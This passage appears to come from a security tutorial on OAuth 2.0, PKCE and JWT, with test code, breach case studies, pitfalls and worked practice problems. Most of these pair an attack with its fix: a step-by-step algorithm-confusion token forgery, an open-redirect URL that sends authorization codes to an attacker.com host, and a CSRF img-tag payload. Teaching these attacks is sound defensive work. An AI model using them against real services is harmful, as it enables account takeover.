print("--- 1. Testing PKCE Generation and Verification ---")
verifier = PKCECore.generate_code_verifier(length=64)
challenge = PKCECore.generate_code_challenge_s256(verifier)
print(f"Code Verifier (64 chars): {verifier}")
print(f"Code Challenge (S256): {challenge}")
assert PKCECore.verify_challenge(verifier, challenge) is True
assert PKCECore.verify_challenge("tampered_verifier_value", challenge) is False
print("PKCE Challenge verification: PASSED.\n")
print("--- 2. Testing JWT Signing, Verification, and Tampering Detection ---")
secret_key = secrets.token_bytes(32) # 256-bit high-entropy secret
jwt_engine = SecureJWTEngine(
hmac_secret=secret_key,
expected_issuer="https://auth.company.com",
expected_audience="https://api.company.com/v1"
)
token = jwt_engine.create_token(
subject="user_alice_4492",
custom_claims={"role": "billing_admin", "tier": "enterprise"},
ttl_seconds=300
)
print(f"Generated JWT:\n{token}\n")
# Verify valid token
claims = jwt_engine.decode_and_verify(token)
print(f"Successfully verified claims: Subject={claims['sub']}, Role={claims['role']}")
# Test tampering detection
tampered_parts = token.split('.')
tampered_payload = Base64URL.encode(json.dumps({"sub": "attacker_hacked", "role": "super_admin"}).encode('utf-8'))
tampered_token = f"{tampered_parts[0]}.{tampered_payload}.{tampered_parts[2]}"
try:
jwt_engine.decode_and_verify(tampered_token)
print("ERROR: Tampered token was incorrectly accepted!")
except PermissionError:
print("Tampering detected successfully: Cryptographic signature mismatch rejected.")8. Real-World Case Studies#
Case Study 1: The 2018 Facebook "View As" OAuth Token Theft#
In September 2018, Facebook disclosed a critical security breach affecting approximately 50 million user accounts. The vulnerability stemmed not from a flaw in core cryptography, but from an unintended interaction among three distinct platform features that culminated in illegal OAuth access token generation.
+-------------------------------------------------------------------------+
| THE 2018 FACEBOOK "VIEW AS" TOKEN THEFT CASCADE |
+-------------------------------------------------------------------------+
| |
| 1. "View As" Privacy Feature: Allowed users to see how their profile |
| appeared to specific friends or the public. |
| |
| 2. Flaw in Video Uploader: The video uploader component mistakenly |
| rendered on the "View As" page, presenting an interface intended |
| to generate birthday greeting videos. |
| |
| 3. OAuth Token Generation Bug: When the video uploader rendered, the |
| mobile web version created an OAuth access token for the Facebook |
| Mobile Single-Sign-On app. |
| |
| 4. Identity Misattribution: Crucially, instead of issuing the token to |
| the authenticated viewer, the server issued the token in the identity|
| of the USER BEING VIEWED! |
| |
| 5. Automated Harvesting: Attackers scripted queries viewing accounts, |
| harvesting fully valid OAuth bearer tokens with full account rights, |
| subsequently pivoting through friends lists. |
+-------------------------------------------------------------------------+Key Engineering Takeaway:
Authorization servers must maintain strict separation between viewing permissions and credential issuance. Client impersonation and on-behalf-of token generation must require distinct, highly audited cryptographic grants rather than incidental side effects of UI rendering.
Case Study 2: The 2020 SolarWinds "Golden SAML" & Cloud Token Forgery#
During the sophisticated SolarWinds supply-chain campaign, state-sponsored actors extracted the private Active Directory Federation Services (AD FS) token-signing certificate from on-premises domain controllers.
Using this stolen private key, attackers executed what cybersecurity researchers termed a Golden SAML attack. Because downstream cloud services (Microsoft 365, Azure Active Directory, AWS federated roles) trust any SAML or JWT identity assertion signed by the designated private key, the attackers forged tokens claiming arbitrary administrative identities, bypassed multi-factor authentication, and maintained persistent access across cloud environments without generating typical authentication telemetry.
Key Engineering Takeaway:
Private keys used to sign identity assertions and access tokens represent root-level trust anchors. Organizations must store signing keys in Hardware Security Modules (HSM) or dedicated cloud Key Management Services (AWS KMS, Azure Key Vault, Google Cloud KMS) where private key material can never be exported into host memory.
9. Common Engineering Pitfalls & Anti-Patterns#
Pitfall 1: Decoding Without Cryptographic Verification#
Many frontend developers and backend services mistakenly decode a JWT to inspect its claims without verifying its signature:
# CATASTROPHIC ANTI-PATTERN
def get_current_user(token: str):
# Base64-decoding the payload directly without verifying the signature
payload = json.loads(Base64URL.decode(token.split('.')[1]))
return payload["sub"] # Attacker can supply ANY user ID!Correction: Claims must never be trusted or processed until the signature has been cryptographically validated against an authoritative public key or secret.
Pitfall 2: Overly Permissive Redirect URI Matching#
Allowing wildcard subdomains or open regex matching on OAuth callback URIs enables open redirection attacks:
# VULNERABLE AS CONFIGURATION
redirect_uri_whitelist = "https://*.client.example.com/*"An attacker who identifies an open redirect on any sub-property (https://blog.client.example.com/redirect?url=https://attacker.com) can initiate an authorization flow directing the authorization code directly to their server.
Correction: RFC 6749 Section 3.1.2 mandates exact, string-for-string equality matching for all registered redirection URIs.
Pitfall 3: Storing Sensitive Data in JWT Payloads#
Because JWT payloads are merely Base64URL-encoded, their contents are completely readable by anyone possessing the token. Storing passwords, Social Security numbers, credit card details, or sensitive personally identifiable information (PII) in an unencrypted JWT exposes that data to browser extensions, proxy logs, and network inspection tools.
Correction: JWTs provide integrity, not confidentiality. Sensitive data requiring confidentiality must either be stored server-side behind an opaque reference or encrypted using JSON Web Encryption (JWE, RFC 7516).
10. Checkpoint Practice Problems#
Test your mastery of OAuth 2.0, PKCE, and JWT security through these four comprehensive technical problems. Each problem includes a complete, step-by-step solution.
+-------------------------------------------------------------------------+
| CHECKPOINT PROBLEMS OVERVIEW |
+-------------------------------------------------------------------------+
| Problem 1 | Manual PKCE S256 Code Challenge Computation |
| Problem 2 | Manual JWT Base64URL Decoding & HMAC-SHA256 Verification |
| Problem 3 | Step-by-Step Algorithm Confusion Attack Analysis (RS -> HS) |
| Problem 4 | OAuth 2.0 Redirect Security & State Parameter Validation |
+-------------------------------------------------------------------------+Problem 1: Manual PKCE S256 Code Challenge Computation#
Problem:
A mobile client initiates an OAuth 2.0 Authorization Code flow with PKCE. It generates the following 43-character code_verifier:
v = "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk"
- Specify the exact mathematical steps required to compute the
code_challengeunder theS256method. - Suppose the SHA-256 hash of this ASCII string in hexadecimal representation is:
SHA-256(v) = 3b26c710d8a6e8b4e7235a90943890f3c5520a22a363914e9124408012693952_16
Manually compute the first 6 characters of the resulting code_challenge using RFC 4648 Section 5 Base64URL encoding.
- If an attacker intercepts the authorization URL containing this
code_challenge, explain why they cannot redeem the intercepted authorization code at the token endpoint.
Solution:
Step 1: Mathematical Formulation:
Per RFC 7636 Section 4.2:
code_challenge = Base64URL-Encode(SHA-256(ASCII(v)))
The client converts the ASCII string v to its 43-byte binary representation, hashes it using SHA-256 to produce a 32-byte (256-bit) digest, and encodes those 32 bytes into Base64URL without trailing = padding characters.
Step 2: Base64URL Derivation of the First 6 Characters:
Let us examine the first 4 bytes (32 bits) of the hex digest:
- Byte 0:
0x3B=00111011 - Byte 1:
0x26=00100110 - Byte 2:
0xC7=11000111 - Byte 3:
0x10=00010000
In Base64 encoding, bytes are grouped into 6-bit chunks. Let us align the first 24 bits (Bytes 0, 1, 2) to produce the first 4 Base64URL characters, and the next bits for characters 5 and 6:
- Chunk 1 (Bits 0–5 of Byte 0):
001110_2 = 14_10
Base64 index 14 corresponds to uppercase letter `O`.
- Chunk 2 (Bits 6–7 of Byte 0 + Bits 0–3 of Byte 1):
11_2 || 0010_2 = 110010_2 = 50_10
Base64 index 50 corresponds to lowercase letter `y`.
- Chunk 3 (Bits 4–7 of Byte 1 + Bits 0–1 of Byte 2):
0110_2 || 11_2 = 011011_2 = 27_10
Base64 index 27 corresponds to lowercase letter `b`.
- Chunk 4 (Bits 2–7 of Byte 2):
000111_2 = 7_10
Base64 index 7 corresponds to uppercase letter `H`.
Now for Byte 3 (0x10 = 00010000) and the subsequent byte Byte 4 (0xD8 = 11011000):
- Chunk 5 (Bits 0–5 of Byte 3):
000100_2 = 4_10
Base64 index 4 corresponds to uppercase letter `E`.
- Chunk 6 (Bits 6–7 of Byte 3 + Bits 0–3 of Byte 4):
00_2 || 1101_2 = 001101_2 = 13_10
Base64 index 13 corresponds to uppercase letter `N`.
Thus, the first 6 characters of the Base64URL-encoded challenge are:
Prefix = "OybHEN"
Step 3: Security Defense Analysis:
When the attacker intercepts the authorization code redirect, they obtain code = SplxlOBeZQQYbYS6WxSbIA. To exchange this code for an access token at the token endpoint, RFC 7636 mandates submitting the plaintext code_verifier (v).
The authorization server verifies:
Base64URL(SHA-256(v_submitted)) == c_stored
Because SHA-256 exhibits second pre-image resistance, finding another string v' such that SHA-256(v') = c requires an expected 2^256 operations, which is computationally infeasible. Without access to the legitimate app's protected runtime memory, the attacker cannot supply the verifier, and the token request is rejected.
Problem 2: Manual JWT Base64URL Decoding & HMAC-SHA256 Verification#
Problem:
A resource server receives an incoming HTTP request containing the following bearer token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJuYW1lIjoiQm9iIiwiZXhwIjoxNzkzNDAxMjAwfQ.XYZ...
- Decode the first segment (Header) and second segment (Payload) from Base64URL to JSON.
- Given that current Unix epoch timestamp is
T = 1793405000, determine whether the resource server should accept or reject the token based on claim validation. - Formulate the exact binary input string over which the HMAC-SHA256 signature algorithm must be executed to verify the token.
Solution:
Step 1: Decoding Header and Payload:
- Header segment:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Length is 36 characters (36 mod 4 = 0, no padding needed).
Decoding from Base64URL yields:
```json
{"alg":"HS256","typ":"JWT"}
```
- Payload segment:
eyJzdWIiOiIxMjM0NTYiLCJuYW1lIjoiQm9iIiwiZXhwIjoxNzkzNDAxMjAwfQ
Length is 60 characters (60 mod 4 = 0, no padding needed).
Decoding from Base64URL yields:
```json
{"sub":"123456","name":"Bob","exp":1793401200}
```
Step 2: Claim Validation:
The payload specifies an expiration claim:
exp = 1793401200
The current server time is:
T = 1793405000
We evaluate the expiration predicate:
T >= exp => 1793405000 >= 1793401200 (TRUE)
The token expired exactly 1793405000 - 1793401200 = 3800 seconds (approximately 63.3 minutes) ago.
Decision: The resource server must REJECT the token with HTTP status code 401 Unauthorized and an error header:
WWW-Authenticate: Bearer error="invalid_token", error_description="The access token expired"
Step 3: Signature Input String Formulation:
Per RFC 7519 Section 5.1, the exact input passed to the signature verification function is the ASCII byte representation of:
SigningInput = ASCII("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTYiLCJuYW1lIjoiQm9iIiwiZXhwIjoxNzkzNDAxMjAwfQ")
The verification function executes:
ExpectedSig = HMAC-SHA-256(K_shared, SigningInput)
And compares Base64URL(ExpectedSig) with the third segment of the JWT using constant-time string comparison.
Problem 3: Step-by-Step Algorithm Confusion Attack Analysis (RS256 to HS256)#
Problem:
An enterprise API gateway verifies JWT tokens using an asymmetric public key. The authorization server signs tokens using RS256 and publishes its public key at https://auth.company.com/public.pem:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Y1+k...
-----END PUBLIC KEY-----The API gateway verifies tokens with the following vulnerable pseudocode:
def verify_request(token, public_key_pem):
header = jwt.get_unverified_header(token)
alg = header["alg"] # Dynamic algorithm extracted from untrusted header
return jwt.decode(token, key=public_key_pem, algorithms=[alg])- Explain how an attacker can forge a valid token asserting
{"sub": "admin", "role": "super_user"}without possessing the authorization server's private key. - What specific role does the public key file play in the forged token?
- Provide the corrected, secure API gateway verification implementation.
Solution:
Step 1: Exploitation Walkthrough:
- Public Key Retrieval: The attacker downloads the public key
public.pemfrom the public endpoint. - Payload Crafting: The attacker drafts the desired payload:
```json
{
"sub": "admin",
"role": "super_user",
"exp": 1893456000
}
```
- Header Modification: The attacker alters the token header from
RS256toHS256:
```json
{
"alg": "HS256",
"typ": "JWT"
}
```
- Forged Signature Generation: The attacker computes the signature using HMAC-SHA256, where the secret key is the exact text bytes of
public.pem:
ForgedSig = HMAC-SHA-256(key = bytes("-----BEGIN PUBLIC KEY...-----"), SigningInput)
- Token Submission: The attacker transmits the assembled token
Header.Payload.ForgedSigto the API gateway. - Flawed Gateway Verification:
- The gateway reads header["alg"], which is "HS256".
- The gateway calls jwt.decode(token, key=public_key_pem, algorithms=["HS256"]).
- Because "HS256" is a symmetric algorithm, the verification library treats public_key_pem as the HMAC shared secret key!
- The library computes HMAC-SHA-256(public_key_pem, SigningInput).
- This computed HMAC matches ForgedSig identically.
- The gateway accepts the token as valid and grants the attacker full super_user privileges.
Step 2: Role of the Public Key in the Attack:
In a legitimate RS256 setup, public.pem is mathematically paired with the private key via RSA modular exponentiation:
Signature^e ≡ Hash (mod N)
In the exploit, public.pem is not used mathematically as an RSA key at all; it is repurposed as an arbitrary binary password in an HMAC hash function. Because the attacker knows this public password, they can compute valid HMACs at will.
Step 3: Corrected Secure Implementation:
The gateway must hardcode and strictly enforce the expected algorithm:
def verify_request_secure(token, public_key_pem):
# Enforce RS256 explicitly; reject HS256, 'none', or any alternate algorithm
return jwt.decode(
token,
key=public_key_pem,
algorithms=["RS256"], # Strict whitelist
options={
"require": ["exp", "iss", "aud", "sub"],
"verify_exp": True,
"verify_iss": True,
"verify_aud": True
},
issuer="https://auth.company.com",
audience="https://api.company.com"
)Problem 4: OAuth 2.0 Redirect Security & State Parameter Validation#
Problem:
Alice is logged into an online photo printing service PhotoClient. She decides to link her Google Drive account to import photos.
- Diagram the Cross-Site Request Forgery (CSRF) attack on the OAuth authorization callback that occurs if
PhotoClientomits thestateparameter. - Explain the cryptographic construction of a secure
stateparameter that protects against CSRF without requiring server-side session state in a distributed stateless architecture. - Show how the client validates the returned
stateupon redirection.
Solution:
Step 1: The OAuth Login / Association CSRF Attack:
When PhotoClient omits the state parameter:
- The attacker initiates an OAuth flow linking their own Google Drive account to
PhotoClient. - The authorization server prompts the attacker, who authorizes the request.
- The authorization server issues a redirect to
PhotoClientwith an authorization code belonging to the attacker:
https://photoclient.com/oauth/callback?code=ATTACKER_AUTH_CODE
- The attacker catches this redirect and does not submit it. Instead, they embed this exact URL into an image tag or phishing link on an external malicious website visited by Alice:
<img src="https://photoclient.com/oauth/callback?code=ATTACKER_AUTH_CODE" />
- Alice's browser executes the request while she is authenticated to
PhotoClient. PhotoClientreceives Alice's session cookie alongsideATTACKER_AUTH_CODE, exchanges the code for tokens, and links the attacker's Google Drive account to Alice'sPhotoClientaccount.- Future photos Alice uploads or prints are synchronized directly into the attacker's Google Drive.
Step 2: Stateless Cryptographic State Parameter Construction:
In a stateless backend architecture, the client can generate an encrypted or HMAC-authenticated cookie containing an ephemeral nonce:
- Client generates a 256-bit cryptographically secure random nonce:
r = secrets.token_hex(32)
- Client sets an
HttpOnly,SameSite=Lax,Securecookie:
Set-Cookie: oauth_state_nonce = r
- Client computes an HMAC over the nonce, client session ID, and timestamp T:
state = Base64URL(r || "." || T || "." || HMAC(K_server, r || T))
- The client includes this
statein the authorization request to the authorization server.
Step 3: Verification on Callback:
When the authorization server redirects back:
GET /oauth/callback?code=XYZ&state=RECEIVED_STATE
The client executes the following validation steps:
- Extracts
RECEIVED_STATEfrom query parameters andoauth_state_noncefrom the HTTP request cookie. - Parses
RECEIVED_STATEinto r, T, and HMAC. - Verifies that the current timestamp
T_now - T <= 300 seconds(mitigates replay). - Verifies the HMAC using the server key K_server in constant time.
- Verifies using constant-time string comparison that
r == oauth_state_nonce.
If any check fails, the transaction is rejected as a CSRF attack.